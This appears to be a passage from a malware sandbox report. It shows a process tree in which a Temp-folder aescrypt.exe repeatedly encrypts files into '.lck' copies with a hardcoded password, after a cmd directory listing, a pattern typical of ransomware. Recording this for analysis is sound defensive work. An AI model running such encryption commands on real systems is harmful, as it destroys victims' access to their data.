                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5304
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5380
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck" "90737d32e3aba4b.timestamp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5428
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck" "90737d32e3aba4b.timestamp.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5456
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4176
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5616
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4628
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5796
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5936
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4928
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5868
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5864
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6048
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5948
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6100
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4084
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5000
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5104
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1256
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5228
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5212
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3232
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5344
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck" "90737d32e3aba4b.timestamp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5360
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck" "90737d32e3aba4b.timestamp.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5480
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5556
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4788
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5764
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5840
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5848
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6008
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6016
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
